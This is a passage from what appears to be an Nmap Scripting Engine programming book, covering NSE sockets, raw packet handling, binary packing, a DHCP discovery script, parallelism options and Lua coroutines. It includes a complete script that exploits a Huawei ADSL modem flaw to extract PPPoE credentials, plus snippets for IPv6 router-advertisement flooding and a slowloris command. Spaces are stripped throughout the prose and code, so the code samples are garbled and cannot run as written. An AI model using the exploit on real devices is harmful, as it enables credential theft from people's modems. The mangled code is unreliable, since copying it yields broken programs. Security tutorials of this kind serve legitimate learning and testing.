locals=nmap.new_socket()
try=nmap.new_try(function()s:close()end)
try(s:connect(host,port))
try(s:send("HelloNmaper!"))
data=try(s:receive())
s:close()
SeeChapter4,ExploringtheNmapScriptingEngineAPIandLibraries,formoreinformationonhandlingexceptionsgracefullywiththeNmapAPI.
Examplescript–sendingapayloadstoredinafileoveraNSEsocketThefollowingscriptillustrateshowtosendapayloadstoredinafilethroughanNSEsocket.SomepartswereremovedtofocusonthemethodsrelatedtotheI/Otasks.ThisscriptcreatesaUDPconnectiontosendapayloadstoredinafile.Thepayloadsentgeneratesaresponseinvulnerabledevicesthatisparsedanddisplayedintheresults.ThisisaperfectexampleofanNSEscriptthatusestheconnectstyletosendandreceiveinformationoverthenetwork.Thescriptcanbealsofoundathttps://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/huawei5xx-udp-info.nse.Anyway,hereisthescript:
description=[[
TriestoobtainthePPPoEcredentials,MACaddress,firmwareversionandIP
informationoftheaDSLmodems
HuaweiEcholife520,520b,530andpossiblyothersbyexploitingan
informationdisclosurevulnerabilityviaUDP.
ThescriptworksbysendingacraftedUDPpackettoport43690andthen
parsingtheresponsethatcontains
theconfigurationvalues.Thisexploithasbeenreportedtobeblockedin
someISPs,inthosecasestheexploitseemstoworkfineinlocalnetworks.
References:
*http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
*http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-
disclosure
]]
author="PaulinoCalderon<[email protected]>"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"intrusive","vuln"}
localstdnse=require"stdnse"
localio=require"io"
localshortport=require"shortport"
HUAWEI_UDP_PORT=43690
PAYLOAD_LOCATION="nselib/data/huawei-udp-info"
portrule=shortport.portnumber(HUAWEI_UDP_PORT,"udp",{"open",
"open|filtered","filtered"})
load_udp_payload=function()
localpayload_l=nmap.fetchfile(PAYLOAD_LOCATION)
if(not(payload_l))then
stdnse.print_debug(1,"%s:Couldn'tlocatepayload%s",SCRIPT_NAME,
PAYLOAD_LOCATION)
return
end
localpayload_h=io.open(payload_l,"rb")
localpayload=payload_h:read("*a")
if(not(payload))then
stdnse.print_debug(1,"%s:Couldn'tloadpayload%s",SCRIPT_NAME,
payload_l)
ifnmap.verbosity()>=2then
return"[Error]Couldn'tloadpayload"
end
return
end
payload_h:flush()
payload_h:close()
returnpayload
end
---—send_udp_payload(ip,timeout)—Sendsthepayloadtoportandreturnsthe
response
---
send_udp_payload=function(ip,timeout,payload)
localdata
stdnse.print_debug(2,"%s:SendingUDPpayload",SCRIPT_NAME)
localsocket=nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
localstatus=socket:connect(ip,HUAWEI_UDP_PORT,"udp")
if(not(status))thenreturnend
status=socket:send(payload)
if(not(status))then
socket:close()
return
end
status,data=socket:receive()
if(not(status))then
socket:close()
return
end
socket:close()
returndata
end
---
--MAIN
---
action=function(host,port)
localtimeout=stdnse.get_script_args(SCRIPT_NAME..".timeout")or3000
localpayload=load_udp_payload()
localresponse=send_udp_payload(host.ip,timeout,payload)
ifresponsethen
returnparse_resp(response)
end
end
UnderstandingadvancednetworkI/OAnotherpowerfulfeatureofNsockistheabilitytoprocessrawpacketswithawrappertoLibpcap.Libpcapprovidesaframeworkforuser-levelpacketcapturesthatisplatform-independentandveryrobust.NSEdevelopersthatneedtoreceiverawpacketsorsendpacketstotheIPandEthernetlayercandosothroughtheNmapAPI.
Inthissection,wewilllearnaboutthepcap_open,pcap_register,andpcap_receivemethods,whichareusedtoreceiverawpackets,andip_open,ip_send,ip_close,ethernet_open,ethernet_send,andethernet_close,whichareusedtosendrawframes.
OpeningasocketforrawpacketcaptureThefirststeptohandlingrawpacketsistoopenanNSEsocket.ImportthenmaplibraryandcreatearegularNSEsocketwithnew_socket.Theninvokethepcap_openmethod:
localnmap=require"nmap"
…
localsocket=nmap.new_socket()
socket:pcap_open("eth0",64,false,"tcp")
Thepcap_openmethodtakesthefollowingparameters:
device:Thisisadnet-styleinterfacesnaplen:Thisisthepacketlengthpromisc:ThisisaBooleanvalueindicatingwhethertheinterfaceshouldbeputinpromiscuousmodebpf:Thisisthebpf(BerkeleyPacketFilter)stringexpression
TipTolearnmoreaboutdnet,typethis:
$mandnet
Therunninginterfacecanbeobtainedusingthenmap.get_interface()method,orallinterfacescanbeobtainedusingnmap.list_interfaces().Let’slookatoneexample.Thefollowingmethod,getInterfaces,definedinthebroadcast-dhcp-discoverscriptobtainsalistandfilterstheavailableinterfaces:
--Getsalistofavailableinterfacesbasedonlinkandupfilters—--
@paramlinkstringcontainingthelinktypetofilter—@paramupstring
containingtheinterfacestatustofilter—@returnresulttablecontaining
thematchinginterfaces
localfunctiongetInterfaces(link,up)
if(not(nmap.list_interfaces))thenreturnend
localinterfaces,err=nmap.list_interfaces()
localresult
if(not(err))then
for_,ifaceinipairs(interfaces)do
if(iface.link==linkandiface.up==up)then
result=resultor{}
result[iface.device]=true
end
end
end
returnresult
end
Thescriptfirstcheckswhetherthereisarunninginterfacedetectedcorrectlywithnmap.get_interface;ifthereisn’tany,itcallsourgetInterfaces()method:
--firstcheckiftheusersuppliedaninterface
if(nmap.get_interface())then
interfaces={[nmap.get_interface()]=true}
else
interfaces=getInterfaces("ethernet","up")
end
ReceivingrawpacketsOncewehaveopenedanNSEsocketandsetittoreceiverawpackets,weusethepcap_receive()methodtoobtainthecapturedpacket.Asusual,thefirstreturnvaluewillbeaBooleanindicatingtheoperationstatus.Iftheoperationissuccessful,themethodwillreturnthepacketlength,datafromthesecondandthirdOSIlayers,andthepacketcapturetime.Iftheoperationfailsortimesout,anerrormessageisreturnedasthesecondreturnvalue:
status,len,l2_data,l3_data,time=socket:pcap_receive()
Thefollowingsnippetshowshowtheeaplibraryreceivesrawpacketsandprocessesthemtorespondtoidentityrequests:
pcap:pcap_open(iface.device,512,true,"etherproto0x888e")
...
local_,_,l2_data,l3_data,_=pcap:pcap_receive()
localpacket=eap.parse(l2_data..l3_data3)
ifpacketthen
ifpacket.eap.type==eap.eap_t.IDENTITYandpacket.eap.code==
eap.code_t.REQUESTthen
eap.send_identity_response(iface,packet.eap.id,"anonymous")
end
end
Sendingpacketsto/fromIPandEthernetlayersSendingpacketsto/fromtheIPandEthernetlayersrequiresadifferenttypeofsocketobjectthanthatforreadingrawpackets.FortunatelyinNSE,theprocedureisverysimilartoworkingwithconnection-orientedstylesockets.
Thenmap.new_dnet()methodmustbeusedtocreatesuchsocketobjects.ThenthehandleforworkingwithIPorEthernetframesmustbeobtainedbycallingip_open()orethernet_open(),respectively.Aftergettingthehandle,wecancallthemethodsthatsendtherawpackets:ip_send()andethernet_send().Finally,wemustclosethesocketwithip_close()orethernet_close().
Theip_send()methodtakestwoparameters:anIPv4orIPv6packetandthedestinationaddressasahosttableorstring:
dnet:ip_send(packet,dst)
Theethernet_send()methodtakesonlyoneparameter,whichistherawEthernetframetosend:
dnet:ethernet_send(packet)
Thefollowingisamethoddeclaredinsidetheeaplibrary.ItisresponsibleforcreatingandsendingEAPidentityresponsepackets.ItillustrateshowtoopenarawsocketobjecttosendEthernetframes:
send_identity_response=function(iface,id,identity)
ifnotifacethen
stdnse.print_debug(1,"nointerfacegiven")
return
end
localdnet=nmap.new_dnet()
localtb={src=iface.mac,type=eapol_t.PACKET}
localresponse=make_eap{header=tb,code=code_t.RESPONSE,type=
eap_t.IDENTITY,id=id,payload=identity}
dnet:ethernet_open(iface.device)
dnet:ethernet_send(response)
dnet:ethernet_close()
end
ManipulatingrawpacketsThebinandpacketNSElibrariesmustbementionednowbecausetheysupportmethodsthatareusefulwhenmanipulatingrawpacketsandgenerallywhenworkingwithnetworkI/Ooperations.Inthissection,wewilllearnaboutbinarydatastrings,handyconversionssupportedbythelibraries,andrawpacketandframegeneration.
PackingandunpackingbinarydataOnceyoustartworkingwithnetworkI/Ooperations,you’llquicklyrealizetheneedtoencodebinarydatastringscorrectly.NSEhasthebinlibrary(http://nmap.org/nsedoc/lib/bin.html)thathelpsuspackandunpackformattedbinarydatastrings.Thislibrarycontainsonlythepack()andunpack()methods.Wewilllearnhowflexibleandusefultheyare.
Thefollowingaretheoperatorcharacterssupportedbythelibrary:
H:HrepresentsahexstringB:Brepresentsabitstringx:xrepresentsanullbytez:zrepresentsazero-terminatedstringp:prepresentsastringprecededbya1-byteintegerlengthP:Prepresentsastringprecededbya2-byteintegerlengtha:arepresentsastringprecededbya4-byteintegerlengthA:Arepresentsastringf:frepresentsafloatd:drepresentsadoublen:nrepresentsaLuanumberc:crepresentsachar(1-byteinteger)CCbyte=representsanunsignedchar(1-byteunsignedinteger)s:srepresentsashortinteger(2-byteinteger)S:Srepresentsanunsignedshortinteger(2-byteunsignedinteger)i:irepresentsaninteger(4-byteinteger)I:Irepresentsanunsignedinteger(4-byteunsignedinteger)l:lrepresentsalonginteger(8-byteinteger)L:Lrepresentsanunsignedlonginteger(8-byteunsignedinteger)<:<representsalittleendianmodifier>:>representsabigendianmodifier=:=representsanativeendianmodifier
Thepack()methodisusedtoobtainabinarypackedstringformattedbythecharacteroperatorsandwithoperatorrepetitionsformattingthegivenparameters.Let’slookatsomeexamplesofitsusagetolearnhowhandyitis.Thepack(format,p1,p2,…)function’sargumentsareasfollows:
format:Formatstringp1,p2,…:Values
Inourmikrotik-routeros-brutescriptshowninChapter6,DevelopingBrute-forcePassword-auditingScripts,wecreatedthepacketcontainingtheloginquerytotheMikrotikAPI:
locallogin_pkt=bin.pack("cAcAcAx",0x6,"/login",0x0b,
"=name="..username,0x2c,"=response=00"..chksum)
Intheprevioussnippet,thecharacteroperatorsusedinthestringwerec,A,andxtoformatachar(1-byte),string,andnullbyte,respectively.Similarly,thecAxformatstringdefinesacharacterbytefollowedbyastringandanullbyteattheend.
NetworkI/Ooperationsrequireyoutooftendealwiththeendiannessoftheprotocol.Thebin.pack()methodisalsoperfectforthesecases.ThefollowinglineappliestheBig-endianmodifiertoabinarypayload:
localbin_payload=bin.pack(">A",arg.payload)
Similarly,thebin.unpack()methodcanbeusedtoextractvaluesfrombinarydatastrings:
localpos,len=bin.unpack(">S",data)
Thebin.unpack()method’sfirstreturnvalueisthepositionatwhichunpackingwasstoppedtoallowsubsequentcallstothemethod.Theunpack()method’sargumentsareasfollows:
format:Formatstringdata:Inputbinarydatastringinit:Startingpositionwithinthestring
Let’slookatamethodthatusesbin.unpacktoextractcertaininformationfromabinarydatastringobtainedfromapacket.Payattentiontohowittraversesthroughthedatastringbykeepingtrackofthereturnedpositionvalue.Somelineswereremovedtokeepitconcise:
functiondecodeField(data,pos)
localheader,len
localdef,_
localfield={}
pos,len=bin.unpack("C",data,pos)
pos,field.catalog=bin.unpack("A"..len,data,pos)\
…
—shouldbe0x0C
pos,_=bin.unpack("C",data,pos)
—charset,inmycase0x0800
pos,_=bin.unpack("S",data,pos)
pos,field.length=bin.unpack("I",data,pos)
pos,field.type=bin.unpack("A6",data,pos)
returnpos,field
end
TipThedocumentationstatesthat,onWindowsplatforms,packingvaluesgreaterthan263leadtotruncatingtheresultto263.
BuildingEthernetframesNSEhasalibrarynamedpacket(http://nmap.org/nsedoc/lib/packet.html)thathasmiscellaneousmethodsrelatedtomanipulatingrawpackets,frommethodsusedtobuildframesandheadersandcalculatechecksums,tomethodsusedtoobtainstringrepresentationsofpackets.Ifyoueverfindyourselfneedingtoconvertastringtoadotted-quadIPaddress,youarelikelytousethislibrary.
ThepacketlibraryhasmethodsthatcanbeusedtobuildEthernet,ICMP,andICMPv6frames,andIPv4andIPv6packets.Thebuildingprocessisverysimilarinallthesecases:
1. First,wecreatethepacketobject.2. Thenwesetfieldssuchassource,destinationaddress,andothers.3. Finally,webuildtheheaderandpacketorframe.
Thegeneratedpacketsarethensentwiththeip_send()orethernet_send()methodsdiscussedearlierinthischapter,intheSendingpacketsto/fromIPandEthernetlayerssection.
Let’sgothroughtheprocessofbuildinganEthernetframe.First,asalways,weincludeourlibraryandinitializeourpacketobject:
localpacket=require"packet"
…
localpckt=packet.Frame:new()
Nowwehavetheoptiontoaccessthefieldsdirectlyorthroughthesettermethodsavailableinthelibrary.Let’slookathowtheipv6-ra-flood.nsescriptbuildsanICMPv6frame:
…
localsrc_mac=packet.mactobin(random_mac())
localsrc_ip6_addr=packet.mac_to_lladdr(src_mac)
localprefix=packet.ip6tobin(get_random_prefix())
localpacket=packet.Frame:new()
packet.mac_src=src_mac
packet.mac_dst=dst_mac
packet.ip_bin_src=src_ip6_addr
packet.ip_bin_dst=dst_ip6_addr
localicmpv6_payload=build_router_advert(src_mac,prefix,prefix_len,
valid_time,preffered_time,mtu)
packet:build_icmpv6_header(134,0,icmpv6_payload)
packet:build_ipv6_packet()
packet:build_ether_frame()
…
Let’snowseeadifferentexample.Themake_eapol()method,whichisshownnext,usesthelibrarypackettocreateanewPacketobject,setdifferentfields,andbuildanEthernetframe:
localmake_eapol=function(arg)
ifnotarg.typethenarg.type=eapol_t.PACKETend
ifnotarg.versionthenarg.version=1end
ifnotarg.payloadthenarg.payload=""end
ifnotarg.srcthenreturnnilend
localp=packet.Frame:new()
p.mac_src=arg.src
p.mac_dst=packet.mactobin(ETHER_BROADCAST)
p.ether_type=ETHER_TYPE_EAPOL
localbin_payload=bin.pack(">A",arg.payload)
p.buf=bin.pack("C",arg.version)..bin.pack("C",arg.type)..
bin.pack(">S",bin_payload:len())..bin_payload
p:build_ether_frame()
returnp.frame_buf
end
RawpackethandlingandNSEsocketsYouarenowfamiliarwithNSEsocketsandrawpackethandling.Nowwewillreviewanexampleofeverythingwehaveseeninthischapterworkingtogetherinonescript.Thefollowingscript,broadcast-dhcp-discover.nse,illustratestheusageofconnection-orientedsockets,rawpacketreception,manipulation,andframebuilding.Paycloseattentiontothebin.pack(),pcap_receive(),andsendto()methodcalls,andthehelperfunctionsthatperformerrorcheckingduringscriptexecution.
Thescriptstartsbydeclaringitslibrarydependenciesandrequiredscriptfieldssuchasdescription,author,andcategories:
localbin=require"bin"
localcoroutine=require"coroutine"
localdhcp=require"dhcp"
localipOps=require"ipOps"
localmath=require"math"
localnmap=require"nmap"
localpacket=require"packet"
localstdnse=require"stdnse"
localstring=require"string"
localtable=require"table"
description=[[
SendsaDHCPrequesttothebroadcastaddress(255.255.255.255)andreports
theresults.ThescriptusesastaticMACaddress(DE:AD:CO:DE:CA:FE)while
doingsoinordertopreventscopeexhaustion.
Thescriptreadstheresponseusingpcapbyopeningalisteningpcapsocket
onallavailableethernetinterfacesthatarereportedup.Ifnoresponse
hasbeenreceivedbeforethetimeouthasbeenreached(default10seconds)
thescriptwillabortexecution.
Thescriptneedstoberunasaprivilegeduser,typicallyroot.
]]
---—@usage—sudonmap--scriptbroadcast-dhcp-discover——@output—|broadcast-
dhcp-discover:—|IPOffered:192.168.1.114—|DHCPMessageType:
DHCPOFFER—|ServerIdentifier:192.168.1.1—|IPAddressLeaseTime:1
day,0:00:00—|SubnetMask:255.255.255.0—|Router:192.168.1.1—|
DomainNameServer:192.168.1.1—|_DomainName:localdomain—--@args
broadcast-dhcp-discover.timeouttimeinsecondstowaitforaresponse—
(default:10s)——Version0.1—Created07/14/2011-v0.1-createdbyPatrik
Karlsson
author="PatrikKarlsson"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"broadcast","safe"}
Theexecutionruleusedinthisscriptisapre-rulethatchecksfortherequiredprivilegesandcompatibleaddressfamily:
prerule=function()
ifnotnmap.is_privileged()then
stdnse.print_verbose("%snotrunningforlackofprivileges.",
SCRIPT_NAME)
returnfalse
end
ifnmap.address_family()~='inet'then
stdnse.print_debug("%sisIPv4compatibleonly.",SCRIPT_NAME)
returnfalse
end
returntrue
end
ThescriptalsodefinestherandomizeMAC()andgetInterfaces(link,up)helperfunctions.TheytakecareofgeneratingfakeMACaddressesandselectingthecorrectinterfacetolistenon,respectively:
--CreatesarandomMACaddress—--@returnmac_addrstringcontaininga
randomMAC
localfunctionrandomizeMAC()
localmac_addr=""
forj=1,6do
mac_addr=mac_addr..string.char(math.random(1,255))
end
returnmac_addr
end
—Getsalistofavailableinterfacesbasedonlinkandupfilters—--@param
linkstringcontainingthelinktypetofilter—@paramupstringcontaining
theinterfacestatustofilter—@returnresulttablecontainingthematching
interfaces
localfunctiongetInterfaces(link,up)
if(not(nmap.list_interfaces))thenreturnend
localinterfaces,err=nmap.list_interfaces()
localresult
if(not(err))then
for_,ifaceinipairs(interfaces)do
if(iface.link==linkandiface.up==up)then
result=resultor{}
result[iface.device]=true
end
end
end
returnresult
end
Thehelperfunctiondhcp_listener(sock,timeout,xid,result)isdefinedtolistentoincomingDHCPresponses.ThisfunctionwillopenapacketcaptureinterfaceandparsetheresponseswiththehelpofthePacketlibrary:
--Listensforanincomingdhcpresponse—--@paramifacestringwiththe
nameoftheinterfacetolistento—@paramtimeoutnumberofmstowaitfor
aresponse—@paramxidtheDHCPtransactionid—@paramresultatableto
whichtheresultiswritten
localfunctiondhcp_listener(sock,timeout,xid,result)
localcondvar=nmap.condvar(result)
sock:set_timeout(100)
localstart_time=nmap.clock_ms()
while(nmap.clock_ms()-start_time<timeout)do
localstatus,_,_,data=sock:pcap_receive()
—abort,onceanotherthreadhaspickedupourresponse
if(#result>0)then
sock:close()
condvar"signal"
return
end
if(status)then
localp=packet.Packet:new(data,#data)
if(pandp.udp_dport)then
localdata=data:sub(p.udp_offset+9)
localstatus,response=dhcp.dhcp_parse(data,xid)
if(status)then
table.insert(result,response)
sock:close()
condvar"signal"
return
end
end
end
end
sock:close()
condvar"signal"
end
Finally,theactionfunctiontakescareofbuildingtheDHCPbroadcastrequestandcreatingworkerthreadsthatwillcalldhcp_listener()toparsetheresponses:
action=function()
localhost,port="255.255.255.255",67
localtimeout=stdnse.parse_timespec(stdnse.get_script_args("broadcast-
dhcp-discover.timeout"))
timeout=(timeoutor10)*1000
—randomizingtheMACcouldexhaustdhcpserverswithsmallscopes
—ifranmultipletimes,soweshouldprobablyrefrainfromdoing
—this?
localmac=string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()
localinterfaces
—firstcheckiftheusersuppliedaninterface
if(nmap.get_interface())then
interfaces={[nmap.get_interface()]=true}
else
—Astheresponsewillbesenttothe"offered"ipaddressweneed
—tousepcaptopickitup.However,wedon'tknowwhatinterface
—ourpacketwentouton,soletsgetalistofallinterfacesand
—runpcaponallofthem,ifthey'rea)upandb)ethernet.
interfaces=getInterfaces("ethernet","up")
end
if(not(interfaces))thenreturn"\nERROR:Failedtoretrieve
interfaces(trysettingoneexplicitlyusing-e)"end
localtransaction_id=bin.pack("<I",math.random(0,0x7FFFFFFF))
localrequest_type=dhcp.request_types["DHCPDISCOVER"]
localip_address=bin.pack(">I",ipOps.todword("0.0.0.0"))
—weneadtosettheflagstobroadcast
localrequest_options,overrides,lease_time=nil,{flags=0x8000},
nil
localstatus,packet=dhcp.dhcp_build(request_type,ip_address,mac,
nil,request_options,overrides,lease_time,transaction_id)
if(not(status))thenreturn"\nERROR:Failedtobuildpacket"end
localthreads={}
localresult={}
localcondvar=nmap.condvar(result)
—startalisteningthreadforeachinterface
foriface,_inpairs(interfaces)do
localsock,co
sock=nmap.new_socket()
sock:pcap_open(iface,1500,false,"ip&&udp&&port68")
co=stdnse.new_thread(dhcp_listener,sock,timeout,transaction_id,
result)
threads[co]=true
end
localsocket=nmap.new_socket("udp")
socket:bind(nil,68)
socket:sendto(host,port,packet)
socket:close()
—waituntilallthreadsaredone
repeat
forthreadinpairs(threads)do
ifcoroutine.status(thread)=="dead"thenthreads[thread]=nil
end
end
if(next(threads))then
condvar"wait"
end
untilnext(threads)==nil
localresponse={}
—Displaytheresults
fori,rinipairs(result)do
table.insert(response,string.format("IPOffered:%s",r.yiaddr_str))
for_,vinipairs(r.options)do
if(type(v['value'])=='table')then
table.insert(response,string.format("%s:%s",v['name'],
stdnse.strjoin(",",v['value'])))
else
table.insert(response,string.format("%s:%s\n",v['name'],
v['value']))
end
end
end
returnstdnse.format_output(true,response)
end
NoteYoucanfindbroadcast-dhcp-discoverinsidethescriptsfolderofyourNmapinstallation.
SummaryInthischapter,youlearnedallaboutperformingconnection-orientedandadvancednetworkI/OoperationswithNSEsockets.Rawpacketmanipulationcanbecomplexbut,aswehaveseen,itisverystraightforwardinNSE.Bynow,youshouldbeabletowritescriptsthatcommunicatewithotherhostswiththehelpoftheNmapAPIandthebinandpacketNSElibraries.Trywritingascriptthatcommunicateswithanunsupportedprotocoltoputinpracticethetopicscoveredhere.
Next,youwilllearnaboutparallelisminLuaandNSEtoachievecollaborativemultitasking.TheobjectiveofthefollowingchapterwillbetogiveyouthetoolsneededtocontroltheexecutionflowofworkerthreadsinsideyourNSEscripts,butdon’tstartthinkingaboutthreadsyet.Luacoroutinesaredifferentfromthreadsinpreemptivemultitasking.Keeponreadingtolearnthesedifferencesandhowtheycanhelpyourscripts.
Chapter9.ParallelismNSEscriptsareexecutedinsideLuathreads(onethreadperscript)inparallelwithoutdevelopershavingtoexplicitlydefinethisbehavior.However,theNmapScriptingEngine(NSE)supportsdifferentmechanismstoofferfinerexecutioncontroltodeveloperswhomaywanttoworkwithadditionalthreadstoperformmultiplenetworkoperationssimultaneously.Also,NSEautomaticallyexecutesnetworkI/Ooperationsinparallel.Executionofscriptsisnormallystoppedwhenanetworkreadtaskisperformedandthenyieldedback.Inordertoexpandoralterthisbehavior,wewillneedtousetheparallelismmechanismssupportedinNSE.
Inthischapter,youwilllearneverythingyouneedtoknowaboutparallelismwhendevelopingforNSE.Thischaptercoversthefollowingtopics:
CoroutinesinLuaConditionvariablesMutexesNSEthreadsOtherNmapoptionsaffectingparallelismduringscans
Hopefully,afterthischapter,youwillhavemasteredtheconceptsrelatedtoparallelisminLuaandNSE.Withthisknowledge,youwilleasilydistinguishthesituationswhereparallelismbenefitsorisevenrequiredinascript.Let’sstartbylookingatsomeexamplesandgetourhandsdirtywithparallelisminNSE.
ParallelismoptionsinNmapThenumberofscriptinstancethreadsrunningatthesametimeisaffectedbythenumberofopenportsandthesizeofthegroupbeingscannedsimultaneously.ThemaximumlimitofscriptinstancethreadsthatcanbehardcodedinNmap(nmap/nse_main.lua)is1,000,butthislimitdoesnottakeintoconsiderationthenewNSEthreadslaunchedbythescripts.AsanNSEdeveloper,itisimportantthatyouconsiderthis,especiallyifyouarecommunicatingwithanexternalservice,astoomanyconnectionsrunningsimultaneouslymightbanIPaddresses.
BeforewestartwiththeparallelismmechanismsavailableinLuaandNSE,let’sfocusontheNmapoptionsthataffectparallelisminscans.The--min-hostgroup,--max-hostgroup,--min-parallelism,and--max-parallelismoptionsworkasdescribedinthefollowingsections.
ScanningmultiplehostssimultaneouslyThe--min-hostgroupand--max-hostgroupNmapoptionscontrolthenumberofhostsprobedsimultaneously.Scanreportsareregeneratedbasedonthisvalue.Playwiththisvaluealittle,butdon’tforgettoenabledebuggingtoseetheresults.Weusethefollowingcommandsforscanreports:
$nmap-sC-F--min-hostgroup500<target>
$nmap-sC-F--max-hostgroup100<target>
$nmap-sC-F--min-hostgroup500--max-hostgroup800<target>
IncreasingthenumberofprobessentThe--min-paralellismand--max-parallelismNmapoptionscontrolthenumberofprobessentsimultaneously:
$nmap-sC-F--min-parallelism500<target>
Somescriptssuchashttp-slowloris.nserequireuserstosetthevalueof--max-parallelisminordertoworkcorrectly:
$nmap-p80--scripthttp-slowloris--max-parallelism400<target>
TimingtemplatesTimingtemplatesweredesignedasaliasesofdifferentoptimizationsettings.Currently,Nmapisshippedwithsixdifferenttemplates.Youcansetthemwiththe-T[0-5]Nmapoption:
#nmap-T4-sC<target>
---------------Timingreport---------------
hostgroups:min1,max100000
rtt-timeouts:init500,min100,max1250
max-scan-delay:TCP10,UDP1000,SCTP10
parallelism:min0,max0
max-retries:6,host-timeout:0
min-rate:0,max-rate:0
---------------------------------------------
KeepinmindthattimingtemplatesdoesnotchangethevaluesaffectingparallelisminNSE.Let’sseethetimingvaluesthatNmapreportsusing-T1and-T5:
Sneaky(-1):Thisgeneratesthefollowingreport:
---------------Timingreport---------------
hostgroups:min1,max100000
rtt-timeouts:init15000,min100,max15000
max-scan-delay:TCP1000,UDP1000,SCTP1000
parallelism:min0,max1
max-retries:10,host-timeout:0
min-rate:0,max-rate:0
---------------------------------------------
Insane(-5):Thisgeneratesthefollowingreport:
---------------Timingreport---------------
hostgroups:min1,max100000
rtt-timeouts:init250,min50,max300
max-scan-delay:TCP5,UDP1000,SCTP5
parallelism:min0,max0
max-retries:2,host-timeout:900000
min-rate:0,max-rate:0
---------------------------------------------
ParallelismmechanismsinLuaThissectioncoversaninterestingparallelismmechanisminLuacalledcoroutinesthatwillhelpusachievecollaborativemultitasking.
CoroutinesCoroutinesinLuaareaveryinterestingfeaturethatallowdeveloperstoexecutemultipletaskscooperatively.Eachcoroutinehasitsownexecutionstack,andtheyareusedinthebackgroundbyNSEtoencapsulatetheexecutionofitsscripts.Themainadvantageofusingcoroutinesistheabilitytosuspendandyieldexecutionoftasks.ItisimportanttounderstandthedifferencebetweencoroutinesinLuaandtraditionalthreadsinpreemptivemultitasking.Coroutinessharecontextdataand,therefore,mustbeusedtoreduceoverheadwhenworkingwithtasksthatsharealotofinformation.However,keepinmindthatonlyonetaskisexecutedatanygiventime.Tasksmustpasscontrolamongthemselvestoachievecollaborativemultithreading.
Acoroutinehasthreepossiblestates:
RunningSuspendedDead
Basically,theexecutionflowofcoroutinesiscontrolledwiththecoroutine.yield()andcoroutine.resume()functions,thoughthereareotheroperationsavailable.Theoperationsthatcanbeperformedoncoroutinesareasfollows:
coroutine.create(f):Thisfunctionisusedtocreatecoroutines.Itreturnsavalueofthethreadtype.coroutine.resume(co[,val1,···]):Thisfunctionchangesthestateofacoroutinefromsuspendedtorunning.coroutine.running():Thisfunctionreturnsthethreadthatiscurrentlyexecuting.coroutine.status(co):Thisfunctionreturnsthestatusofacoroutine.coroutine.wrap(f):Thisfunctionisusedasareplacementforcoroutine.create()andcoroutine.resume().coroutine.yield(···):Thisfunctionisusedtosuspendcoroutines.
Next,wewilllearnhowtoworkwithcoroutinesthroughsomeexamplesinLuascripts.
WorkingwithcoroutinesLet’sstartwithasimplescriptthatcreatestwocoroutinesthatexecuteiterationloopsandcooperativelycontroltheexecutionflow:
1. Firstly,tocreateacoroutine,wesimplycallcoroutine.create()withourworker’smainfunctionasanargument.Let’sexploreananonymousfunctionthatloops,printsacounter,andthenyieldsanothercoroutine:
co1=coroutine.create(
function()
fori=1,5do
print("coroutine#1:"..i)
coroutine.yield(co2)
end
end
)
2. Wewillcreateanothercoroutinewithexactlythesamefunctionalitybutadifferentidentifier:
co2=coroutine.create(
function()
fori=1,5do
print("coroutine#2:"..i)
coroutine.yield(co1)
end
end
)
3. Coroutinesstartinsuspendedmode,solet’ssetupanotherloopthatrunsthem:
fori=1,5do
coroutine.resume(co1)
coroutine.resume(co2)
end
4. Nowrunthescriptandcheckouttheoutput.Thefinalscriptlookslikethis:
#!/opt/local/bin/lua
co1=coroutine.create(
function()
fori=1,5do
print("coroutine#1:"..i)
coroutine.yield(co2)
end
end
)
co2=coroutine.create(
function()
fori=1,5do
print("coroutine#2:"..i)
coroutine.yield(co1)
end
end
)
fori=1,5do
coroutine.resume(co1)
coroutine.resume(co2)
end
5. Ifweexecutethescript,wewillgetthefollowingoutput:
$./coroutines_ex1.lua
coroutine#1:1
coroutine#2:1
coroutine#1:2
coroutine#2:2
coroutine#1:3
coroutine#2:3
coroutine#1:4
coroutine#2:4
coroutine#1:5
coroutine#2:5
6. Toidentifytherunningcoroutine,wecanusethecoroutine.running()function.Whatwillbetheoutputbeifweaddthefollowingcode?
co1=coroutine.create(
function()
fori=1,5do
print(coroutine.running())
print("coroutine#1:"..i)
coroutine.yield(co2)
end
end
)
Theoutputwillbesomethingsimilartothis:
thread:0x7fc26340a250 false
coroutine#1:1
thread:0x7fc26340a5a0 false
coroutine#2:1
thread:0x7fc26340a250 false
coroutine#1:2
thread:0x7fc26340a5a0false
coroutine#2:2
thread:0x7fc26340a250false
coroutine#1:3
thread:0x7fc26340a5a0false
coroutine#2:3
thread:0x7fc26340a250false
coroutine#1:4
thread:0x7fc26340a5a0false
coroutine#2:4
thread:0x7fc26340a250false
coroutine#1:5
thread:0x7fc26340a5a0false
coroutine#2:5
thread:0x7fc26340a250false
Let’screateanewversionofthescripttoillustratethedifferentstatesofcoroutinesandtheresultofthecoroutine.yield()operation:
#!/opt/local/bin/lua
co1=coroutine.create(
function()
fori=1,10do
print("Coroutine#1is"..coroutine.status(co1))
print("Coroutine#2is"..coroutine.status(co2))
print("coroutine#1:"..i)
coroutine.yield(co2)
end
end
)
co2=coroutine.create(
function()
fori=1,10do
print("Coroutine#1is"..coroutine.status(co1))
print("Coroutine#2is"..coroutine.status(co2))
print("coroutine#2:"..i)
coroutine.yield(co1)
end
end
)
fori=1,10do
coroutine.resume(co1)
coroutine.resume(co2)
end
Theoutputoftheprecedingscriptisasfollows:
$./coroutines_ex2.lua
Coroutine#1isrunning
Coroutine#2issuspended
coroutine#1:1
Coroutine#1issuspended
Coroutine#2isrunning
coroutine#2:1
Coroutine#1isrunning
Coroutine#2issuspended
coroutine#1:2
Coroutine#1issuspended
Coroutine#2isrunning
coroutine#2:2
Coroutine#1isrunning
Coroutine#2issuspended
coroutine#1:3
Coroutine#1issuspended
Coroutine#2isrunning
coroutine#2:3
Thestdnse.base()methodisincludedwiththestdnselibrarytohelpdevelopersidentifythecoroutinerunningthescript—specificallythecoroutinerunningtheactionfunction.Forexample,thisinformationcanbeusedbythecoroutine.status()functiontodeterminewhetherthemainthreadhasexitedandwhetherweneedtostopourworkerthread:
basethread=stdnse.base()
…
